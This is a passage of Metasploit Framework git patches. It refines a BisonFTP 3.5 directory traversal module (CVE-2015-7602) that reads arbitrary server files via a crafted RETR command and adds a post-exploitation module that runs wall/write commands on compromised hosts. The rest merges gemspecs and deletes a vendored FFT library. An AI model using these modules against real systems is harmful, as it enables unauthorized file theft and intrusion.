file data to loot loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path) - print_status("Stored #{file_path} to #{loot_file}") - - # Read and print the data from the loot file. - info_disclosure = print_line(loot_file) - print_status("Printing contents of #{file_path}") - print_good("Result:\n #{info_disclosure}") - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") ensure data_disconnect disconnect From 8d21a91f3e389abb298e04238e20f1f13d7617b6 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 11 Nov 2015 09:15:32 -0800 Subject: [PATCH 1172/2172] Add initial wall module --- modules/post/multi/general/wall.rb | 48 ++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 modules/post/multi/general/wall.rb diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb new file mode 100644 index 0000000000..789f01e06a --- /dev/null +++ b/modules/post/multi/general/wall.rb @@ -0,0 +1,48 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Write Messages to Users', + 'Description' => %q{ + This module utilizes the wall(1) or write(1) utilities, as appropriate, + to send messages to users on the target system. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ], + # TODO: is there a way to do this on Windows? + 'Platform' => %w(linux osx unix), + 'SessionTypes' => %w(shell meterpreter) + ) + ) + register_options( + [ + OptString.new('MESSAGE', [true, 'The message to send']), + OptString.new('USERS', [false, 'List of users to write(1) to, separated by commas. ' \ + ' wall(1)s to all users by default']) + ], self.class) + end + + def users + datastore['USERS'] ? datastore['USERS'].split(/\s*,\s*/) : nil + end + + def message + datastore['MESSAGE'] ? datastore['MESSAGE'] : "Hello metasploit session #{session.id}, the time is #{Time.now}" + end + + def run + if users + users.map { |user| cmd_exec("echo '#{message}' | write #{user}") } + else + cmd_exec("echo '#{message}' | wall") + end + end +end From 40bdd2bd0148e9e40c62802072a233dc36152a4a Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 11 Nov 2015 11:46:37 -0600 Subject: [PATCH 1173/2172] Do module cleanup for auxiliary/scanner/ftp/bison_ftp_traversal --- .../scanner/ftp/bison_ftp_traversal.rb | 56 ++++++++++--------- 1 file changed, 31 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb index e4b4289c00..19f83f3bdd 100644 --- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -13,42 +13,47 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure', - 'Description' => %q{ + 'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure', + 'Description' => %q{ This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server version 3.5. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command including file system traversal strings such as '..//.' }, - 'Platform' => 'win', - 'Author' => + 'Platform' => 'win', + 'Author' => [ - 'Jay Turla <@shipcod3>', # msf and initial discovery + 'Jay Turla', # @shipcod3, msf and initial discovery 'James Fitts', - 'Brad Wolfe' #brad.wolfe[at]gmail.com + 'Brad Wolfe <brad.wolfe[at]gmail.com>' ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ [ 'EDB', '38341'], [ 'CVE', '2015-7602'] ], - 'DisclosureDate' => 'Sep 28 2015')) + 'DisclosureDate' => 'Sep 28 2015' + )) register_options( [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) ], self.class) end - def check - connect - disconnect - if (banner =~ /BisonWare BisonFTP server product V3.5/) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe + def check_host(ip) + begin + connect + if /BisonWare BisonFTP server product V3\.5/i === banner + return Exploit::CheckCode::Appears + end + ensure + disconnect end + + Exploit::CheckCode::Safe end def run_host(target_host) @@ -60,7 +65,7 @@ class Metasploit3 < Msf::Auxiliary file = ::File.basename(file_path) # make RETR request and store server response message... - retr_cmd = ( "..//" * 32 ) + "#{file_path}" + retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}" res = send_cmd( ["RETR", retr_cmd]) # read the file data from the socket that we opened @@ -73,15 +78,16 @@ class Metasploit3 < Msf::Auxiliary # store file data to loot loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path) - print_status("Stored #{file_path} to #{loot_file}") + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") - # Read and print the data from the loot file. - info_disclosure = print_line(loot_file) - print_status("Printing contents of #{file_path}") - print_good("Result:\n #{info_disclosure}") - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") ensure data_disconnect disconnect From a328675f77544bbc406749046b79fcdeda2d12f8 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 11 Nov 2015 11:54:46 -0800 Subject: [PATCH 1174/2172] Add simulated cowsay support to wall --- modules/post/multi/general/wall.rb | 53 +++++++++++++++++++++++++++--- 1 file changed, 48 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb index 789f01e06a..4db16782ff 100644 --- a/modules/post/multi/general/wall.rb +++ b/modules/post/multi/general/wall.rb @@ -16,7 +16,9 @@ class Metasploit3 < Msf::Post to send messages to users on the target system. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ], + 'Author' => [ + 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module + ], # TODO: is there a way to do this on Windows? 'Platform' => %w(linux osx unix), 'SessionTypes' => %w(shell meterpreter) @@ -24,25 +26,66 @@ class Metasploit3 < Msf::Post ) register_options( [ - OptString.new('MESSAGE', [true, 'The message to send']), + OptString.new('MESSAGE', [false, 'The message to send', '']), OptString.new('USERS', [false, 'List of users to write(1) to, separated by commas. ' \ - ' wall(1)s to all users by default']) + ' wall(1)s to all users by default']), + OptBool.new('COWSAY', [true, 'Display MESSAGE in a ~cowsay way', false]) ], self.class) end + def cowsay(text) + # cowsay(1) chunks a message up into 39-byte chunks and wraps it in '| ' and ' |' + # Rex::Text.wordwrap(text, 0, 39, ' |', '| ') almost does this, but won't + # split a word that has > 39 characters in it which results in oddly formed + # text in the cowsay banner, so just do it by hand + text_lines = text.scan(/.{1,34}/) + max_length = text_lines.map(&:size).sort.last + cloud_parts = [] + cloud_parts << " #{'_' * (max_length + 2)} " + if text_lines.size == 1 + cloud_parts << "< #{text} >" + else + cloud_parts << "/ #{text_lines.first.ljust(max_length, ' ')} \\" + if text_lines.size > 2 + text_lines[1, text_lines.length - 2].each do |line| + cloud_parts << "| #{line.ljust(max_length, ' ')} |" + end + end + cloud_parts << "\\ #{text_lines.last.ljust(max_length, ' ')} /" + end + cloud_parts << " #{'-' * (max_length + 2)} " + cloud_parts << <<EOS + \\ ,__, + \\ (oo)____ + (__) )\\ + ||--|| * +EOS + cloud_parts.join("\n") + end + def users datastore['USERS'] ? datastore['USERS'].split(/\s*,\s*/) : nil end def message - datastore['MESSAGE'] ? datastore['MESSAGE'] : "Hello metasploit session #{session.id}, the time is #{Time.now}" + if datastore['MESSAGE'].blank? + text = "Hello from a metasploit session at #{Time.now}" + else + text = datastore['MESSAGE'] + end + + datastore['COWSAY'] ? cowsay(text) : text end def run if users + # this requires that the target user has write turned on users.map { |user| cmd_exec("echo '#{message}' | write #{user}") } else - cmd_exec("echo '#{message}' | wall") + # this will send the messages to all users, regardless of whether or + # not they have write turned on. If the session is root, the -n will disable + # the annoying banner + cmd_exec("echo '#{message}' | wall -n") end end end From 15cfa925c81fb736d0e1d35eb1dd9b5d864c4140 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 11 Nov 2015 12:06:53 -0800 Subject: [PATCH 1175/2172] Document the cloud mess --- modules/post/multi/general/wall.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb index 4db16782ff..97bdd234a5 100644 --- a/modules/post/multi/general/wall.rb +++ b/modules/post/multi/general/wall.rb @@ -37,7 +37,11 @@ class Metasploit3 < Msf::Post # cowsay(1) chunks a message up into 39-byte chunks and wraps it in '| ' and ' |' # Rex::Text.wordwrap(text, 0, 39, ' |', '| ') almost does this, but won't # split a word that has > 39 characters in it which results in oddly formed - # text in the cowsay banner, so just do it by hand + # text in the cowsay banner, so just do it by hand. This big mess wraps + # the provided text in an ASCII-cloud and then makes it look like the cloud + # is a thought/word coming from the ASCII-cow. Each line in the + # ASCII-cloud is no more than 34-characters long, and the cloud corners are + # made to look rounded text_lines = text.scan(/.{1,34}/) max_length = text_lines.map(&:size).sort.last cloud_parts = [] From 1b951b36fe600709cdcc260f358740c4f7caa17d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 9 Nov 2015 13:03:26 -0600 Subject: [PATCH 1176/2172] remove -db / -pcap / -all gemspecs, merge into one --- Gemfile | 8 - Gemfile.lock | 18 +- external/ruby-kissfft/Gemfile | 2 - external/ruby-kissfft/LICENSE | 30 -- external/ruby-kissfft/Rakefile | 1 - .../ruby-kissfft/ext/kissfft/_kiss_fft_guts.h | 164 ------- external/ruby-kissfft/ext/kissfft/extconf.rb | 5 - external/ruby-kissfft/ext/kissfft/kiss_fft.c | 408 ------------------ external/ruby-kissfft/ext/kissfft/kiss_fft.h | 124 ------ external/ruby-kissfft/ext/kissfft/kiss_fftr.c | 159 ------- external/ruby-kissfft/ext/kissfft/kiss_fftr.h | 46 -- external/ruby-kissfft/ext/kissfft/main.c | 155 ------- external/ruby-kissfft/kissfft.gemspec | 16 - external/ruby-kissfft/tests/sample.data | Bin 129440 -> 0 bytes external/ruby-kissfft/tests/test_kissfft.rb | 47 -- metasploit-framework-db.gemspec | 39 -- metasploit-framework-full.gemspec | 36 -- metasploit-framework-pcap.gemspec | 35 -- metasploit-framework.gemspec | 13 +- 19 files changed, 18 insertions(+), 1288 deletions(-) delete mode 100755 external/ruby-kissfft/Gemfile delete mode 100644 external/ruby-kissfft/LICENSE delete mode 100755 external/ruby-kissfft/Rakefile delete mode 100644 external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h delete mode 100644 external/ruby-kissfft/ext/kissfft/extconf.rb delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fft.c delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fft.h delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fftr.c delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fftr.h delete mode 100644 external/ruby-kissfft/ext/kissfft/main.c delete mode 100644 external/ruby-kissfft/kissfft.gemspec delete mode 100644 external/ruby-kissfft/tests/sample.data delete mode 100755 external/ruby-kissfft/tests/test_kissfft.rb delete mode 100644 metasploit-framework-db.gemspec delete mode 100644 metasploit-framework-full.gemspec delete mode 100644 metasploit-framework-pcap.gemspec diff --git a/Gemfile b/Gemfile index 225cadb5e1..1f4033d229 100755 --- a/Gemfile +++ b/Gemfile @@ -11,10 +11,6 @@ group :coverage do gem 'simplecov' end -group :db do - gemspec name: 'metasploit-framework-db' -end - group :development do # Markdown formatting for yard gem 'redcarpet' @@ -38,10 +34,6 @@ group :development, :test do gem 'rspec-rails' , '>= 2.12', '< 3.0.0' end -group :pcap do - gemspec name: 'metasploit-framework-pcap' -end - group :test do # cucumber extension for testing command line applications, like msfconsole gem 'aruba' diff --git a/Gemfile.lock b/Gemfile.lock index c4b48a1c70..72c39f577a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,6 +3,7 @@ PATH specs: metasploit-framework (4.11.5) actionpack (>= 4.0.9, < 4.1.0) + activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt filesize @@ -10,11 +11,16 @@ PATH json metasm (~> 1.0.2) metasploit-concern (= 1.0.0) + metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) metasploit-payloads (= 1.0.16) + metasploit_data_models (= 1.2.9) msgpack + network_interface (~> 0.0.1) nokogiri packetfu (= 1.1.11) + pcaprub + pg (>= 0.11) railties rb-readline-r7 recog (= 2.0.14) @@ -22,16 +28,6 @@ PATH rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.5) - activerecord (>= 4.0.9, < 4.1.0) - metasploit-credential (= 1.0.1) - metasploit-framework (= 4.11.5) - metasploit_data_models (= 1.2.9) - pg (>= 0.11) - metasploit-framework-pcap (4.11.5) - metasploit-framework (= 4.11.5) - network_interface (~> 0.0.1) - pcaprub GEM remote: https://rubygems.org/ @@ -242,8 +238,6 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (= 1.2.1) metasploit-framework! - metasploit-framework-db! - metasploit-framework-pcap! pry rake (>= 10.0.0) redcarpet diff --git a/external/ruby-kissfft/Gemfile b/external/ruby-kissfft/Gemfile deleted file mode 100755 index 1aa98e4b2e..0000000000 --- a/external/ruby-kissfft/Gemfile +++ /dev/null @@ -1,2 +0,0 @@ -source "http://rubygems.org" -gemspec diff --git a/external/ruby-kissfft/LICENSE b/external/ruby-kissfft/LICENSE deleted file mode 100644 index 3ec3bcf60f..0000000000 --- a/external/ruby-kissfft/LICENSE +++ /dev/null @@ -1,30 +0,0 @@ -Kiss FFT library -================== - - -Copyright (c) 2003-2010 Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -Ruby wrapper layer -================== - -Copyright (C) 2009-2012 H D Moore < hdm[at]rapid7.com > - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/ruby-kissfft/Rakefile b/external/ruby-kissfft/Rakefile deleted file mode 100755 index 29955274e0..0000000000 --- a/external/ruby-kissfft/Rakefile +++ /dev/null @@ -1 +0,0 @@ -require "bundler/gem_tasks" diff --git a/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h b/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h deleted file mode 100644 index ba66144403..0000000000 --- a/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h +++ /dev/null @@ -1,164 +0,0 @@ -/* -Copyright (c) 2003-2010, Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - -/* kiss_fft.h - defines kiss_fft_scalar as either short or a float type - and defines - typedef struct { kiss_fft_scalar r; kiss_fft_scalar i; }kiss_fft_cpx; */ -#include "kiss_fft.h" -#include <limits.h> - -#define MAXFACTORS 32 -/* e.g. an fft of length 128 has 4 factors - as far as kissfft is concerned - 4*4*4*2 - */ - -struct kiss_fft_state{ - int nfft; - int inverse; - int factors[2*MAXFACTORS]; - kiss_fft_cpx twiddles[1]; -}; - -/* - Explanation of macros dealing with complex math: - - C_MUL(m,a,b) : m = a*b - C_FIXDIV( c , div ) : if a fixed point impl., c /= div. noop otherwise - C_SUB( res, a,b) : res = a - b - C_SUBFROM( res , a) : res -= a - C_ADDTO( res , a) : res += a - * */ -#ifdef FIXED_POINT -#if (FIXED_POINT==32) -# define FRACBITS 31 -# define SAMPPROD int64_t -#define SAMP_MAX 2147483647 -#else -# define FRACBITS 15 -# define SAMPPROD int32_t -#define SAMP_MAX 32767 -#endif - -#define SAMP_MIN -SAMP_MAX - -#if defined(CHECK_OVERFLOW) -# define CHECK_OVERFLOW_OP(a,op,b) \ - if ( (SAMPPROD)(a) op (SAMPPROD)(b) > SAMP_MAX || (SAMPPROD)(a) op (SAMPPROD)(b) < SAMP_MIN ) { \ - fprintf(stderr,"WARNING:overflow @ " __FILE__ "(%d): (%d " #op" %d) = %ld\n",__LINE__,(a),(b),(SAMPPROD)(a) op (SAMPPROD)(b) ); } -#endif - - -# define smul(a,b) ( (SAMPPROD)(a)*(b) ) -# define sround( x ) (kiss_fft_scalar)( ( (x) + (1<<(FRACBITS-1)) ) >> FRACBITS ) - -# define S_MUL(a,b) sround( smul(a,b) ) - -# define C_MUL(m,a,b) \ - do{ (m).r = sround( smul((a).r,(b).r) - smul((a).i,(b).i) ); \ - (m).i = sround( smul((a).r,(b).i) + smul((a).i,(b).r) ); }while(0) - -# define DIVSCALAR(x,k) \ - (x) = sround( smul( x, SAMP_MAX/k ) ) - -# define C_FIXDIV(c,div) \ - do { DIVSCALAR( (c).r , div); \ - DIVSCALAR( (c).i , div); }while (0) - -# define C_MULBYSCALAR( c, s ) \ - do{ (c).r = sround( smul( (c).r , s ) ) ;\ - (c).i = sround( smul( (c).i , s ) ) ; }while(0) - -#else /* not FIXED_POINT*/ - -# define S_MUL(a,b) ( (a)*(b) ) -#define C_MUL(m,a,b) \ - do{ (m).r = (a).r*(b).r - (a).i*(b).i;\ - (m).i = (a).r*(b).i + (a).i*(b).r; }while(0) -# define C_FIXDIV(c,div) /* NOOP */ -# define C_MULBYSCALAR( c, s ) \ - do{ (c).r *= (s);\ - (c).i *= (s); }while(0) -#endif - -#ifndef CHECK_OVERFLOW_OP -# define CHECK_OVERFLOW_OP(a,op,b) /* noop */ -#endif - -#define C_ADD( res, a,b)\ - do { \ - CHECK_OVERFLOW_OP((a).r,+,(b).r)\ - CHECK_OVERFLOW_OP((a).i,+,(b).i)\ - (res).r=(a).r+(b).r; (res).i=(a).i+(b).i; \ - }while(0) -#define C_SUB( res, a,b)\ - do { \ - CHECK_OVERFLOW_OP((a).r,-,(b).r)\ - CHECK_OVERFLOW_OP((a).i,-,(b).i)\ - (res).r=(a).r-(b).r; (res).i=(a).i-(b).i; \ - }while(0) -#define C_ADDTO( res , a)\ - do { \ - CHECK_OVERFLOW_OP((res).r,+,(a).r)\ - CHECK_OVERFLOW_OP((res).i,+,(a).i)\ - (res).r += (a).r; (res).i += (a).i;\ - }while(0) - -#define C_SUBFROM( res , a)\ - do {\ - CHECK_OVERFLOW_OP((res).r,-,(a).r)\ - CHECK_OVERFLOW_OP((res).i,-,(a).i)\ - (res).r -= (a).r; (res).i -= (a).i; \ - }while(0) - - -#ifdef FIXED_POINT -# define KISS_FFT_COS(phase) floor(.5+SAMP_MAX * cos (phase)) -# define KISS_FFT_SIN(phase) floor(.5+SAMP_MAX * sin (phase)) -# define HALF_OF(x) ((x)>>1) -#elif defined(USE_SIMD) -# define KISS_FFT_COS(phase) _mm_set1_ps( cos(phase) ) -# define KISS_FFT_SIN(phase) _mm_set1_ps( sin(phase) ) -# define HALF_OF(x) ((x)*_mm_set1_ps(.5)) -#else -# define KISS_FFT_COS(phase) (kiss_fft_scalar) cos(phase) -# define KISS_FFT_SIN(phase) (kiss_fft_scalar) sin(phase) -# define HALF_OF(x) ((x)*.5) -#endif - -#define kf_cexp(x,phase) \ - do{ \ - (x)->r = KISS_FFT_COS(phase);\ - (x)->i = KISS_FFT_SIN(phase);\ - }while(0) - - -/* a debugging function */ -#define pcpx(c)\ - fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) ) - - -#ifdef KISS_FFT_USE_ALLOCA -// define this to allow use of alloca instead of malloc for temporary buffers -// Temporary buffers are used in two case: -// 1. FFT sizes that have "bad" factors. i.e. not 2,3 and 5 -// 2. "in-place" FFTs. Notice the quotes, since kissfft does not really do an in-place transform. -#include <alloca.h> -#define KISS_FFT_TMP_ALLOC(nbytes) alloca(nbytes) -#define KISS_FFT_TMP_FREE(ptr) -#else -#define KISS_FFT_TMP_ALLOC(nbytes) KISS_FFT_MALLOC(nbytes) -#define KISS_FFT_TMP_FREE(ptr) KISS_FFT_FREE(ptr) -#endif diff --git a/external/ruby-kissfft/ext/kissfft/extconf.rb b/external/ruby-kissfft/ext/kissfft/extconf.rb deleted file mode 100644 index df58ac43f7..0000000000 --- a/external/ruby-kissfft/ext/kissfft/extconf.rb +++ /dev/null @@ -1,5 +0,0 @@ -require 'mkmf' - -if(have_library("m")) - create_makefile("kissfft") -end diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fft.c b/external/ruby-kissfft/ext/kissfft/kiss_fft.c deleted file mode 100644 index 465d6c97a0..0000000000 --- a/external/ruby-kissfft/ext/kissfft/kiss_fft.c +++ /dev/null @@ -1,408 +0,0 @@ -/* -Copyright (c) 2003-2010, Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - - -#include "_kiss_fft_guts.h" -/* The guts header contains all the multiplication and addition macros that are defined for - fixed or floating point complex numbers. It also delares the kf_ internal functions. - */ - -static void kf_bfly2( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - int m - ) -{ - kiss_fft_cpx * Fout2; - kiss_fft_cpx * tw1 = st->twiddles; - kiss_fft_cpx t; - Fout2 = Fout + m; - do{ - C_FIXDIV(*Fout,2); C_FIXDIV(*Fout2,2); - - C_MUL (t, *Fout2 , *tw1); - tw1 += fstride; - C_SUB( *Fout2 , *Fout , t ); - C_ADDTO( *Fout , t ); - ++Fout2; - ++Fout; - }while (--m); -} - -static void kf_bfly4( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - const size_t m - ) -{ - kiss_fft_cpx *tw1,*tw2,*tw3; - kiss_fft_cpx scratch[6]; - size_t k=m; - const size_t m2=2*m; - const size_t m3=3*m; - - - tw3 = tw2 = tw1 = st->twiddles; - - do { - C_FIXDIV(*Fout,4); C_FIXDIV(Fout[m],4); C_FIXDIV(Fout[m2],4); C_FIXDIV(Fout[m3],4); - - C_MUL(scratch[0],Fout[m] , *tw1 ); - C_MUL(scratch[1],Fout[m2] , *tw2 ); - C_MUL(scratch[2],Fout[m3] , *tw3 ); - - C_SUB( scratch[5] , *Fout, scratch[1] ); - C_ADDTO(*Fout, scratch[1]); - C_ADD( scratch[3] , scratch[0] , scratch[2] ); - C_SUB( scratch[4] , scratch[0] , scratch[2] ); - C_SUB( Fout[m2], *Fout, scratch[3] ); - tw1 += fstride; - tw2 += fstride*2; - tw3 += fstride*3; - C_ADDTO( *Fout , scratch[3] ); - - if(st->inverse) { - Fout[m].r = scratch[5].r - scratch[4].i; - Fout[m].i = scratch[5].i + scratch[4].r; - Fout[m3].r = scratch[5].r + scratch[4].i; - Fout[m3].i = scratch[5].i - scratch[4].r; - }else{ - Fout[m].r = scratch[5].r + scratch[4].i; - Fout[m].i = scratch[5].i - scratch[4].r; - Fout[m3].r = scratch[5].r - scratch[4].i; - Fout[m3].i = scratch[5].i + scratch[4].r; - } - ++Fout; - }while(--k); -} - -static void kf_bfly3( - kiss_fft_cpx * Fout, - const size_t fstride, - const kiss_fft_cfg st, - size_t m - ) -{ - size_t k=m; - const size_t m2 = 2*m; - kiss_fft_cpx *tw1,*tw2; - kiss_fft_cpx scratch[5]; - kiss_fft_cpx epi3; - epi3 = st->twiddles[fstride*m]; - - tw1=tw2=st->twiddles; - - do{ - C_FIXDIV(*Fout,3); C_FIXDIV(Fout[m],3); C_FIXDIV(Fout[m2],3); - - C_MUL(scratch[1],Fout[m] , *tw1); - C_MUL(scratch[2],Fout[m2] , *tw2); - - C_ADD(scratch[3],scratch[1],scratch[2]); - 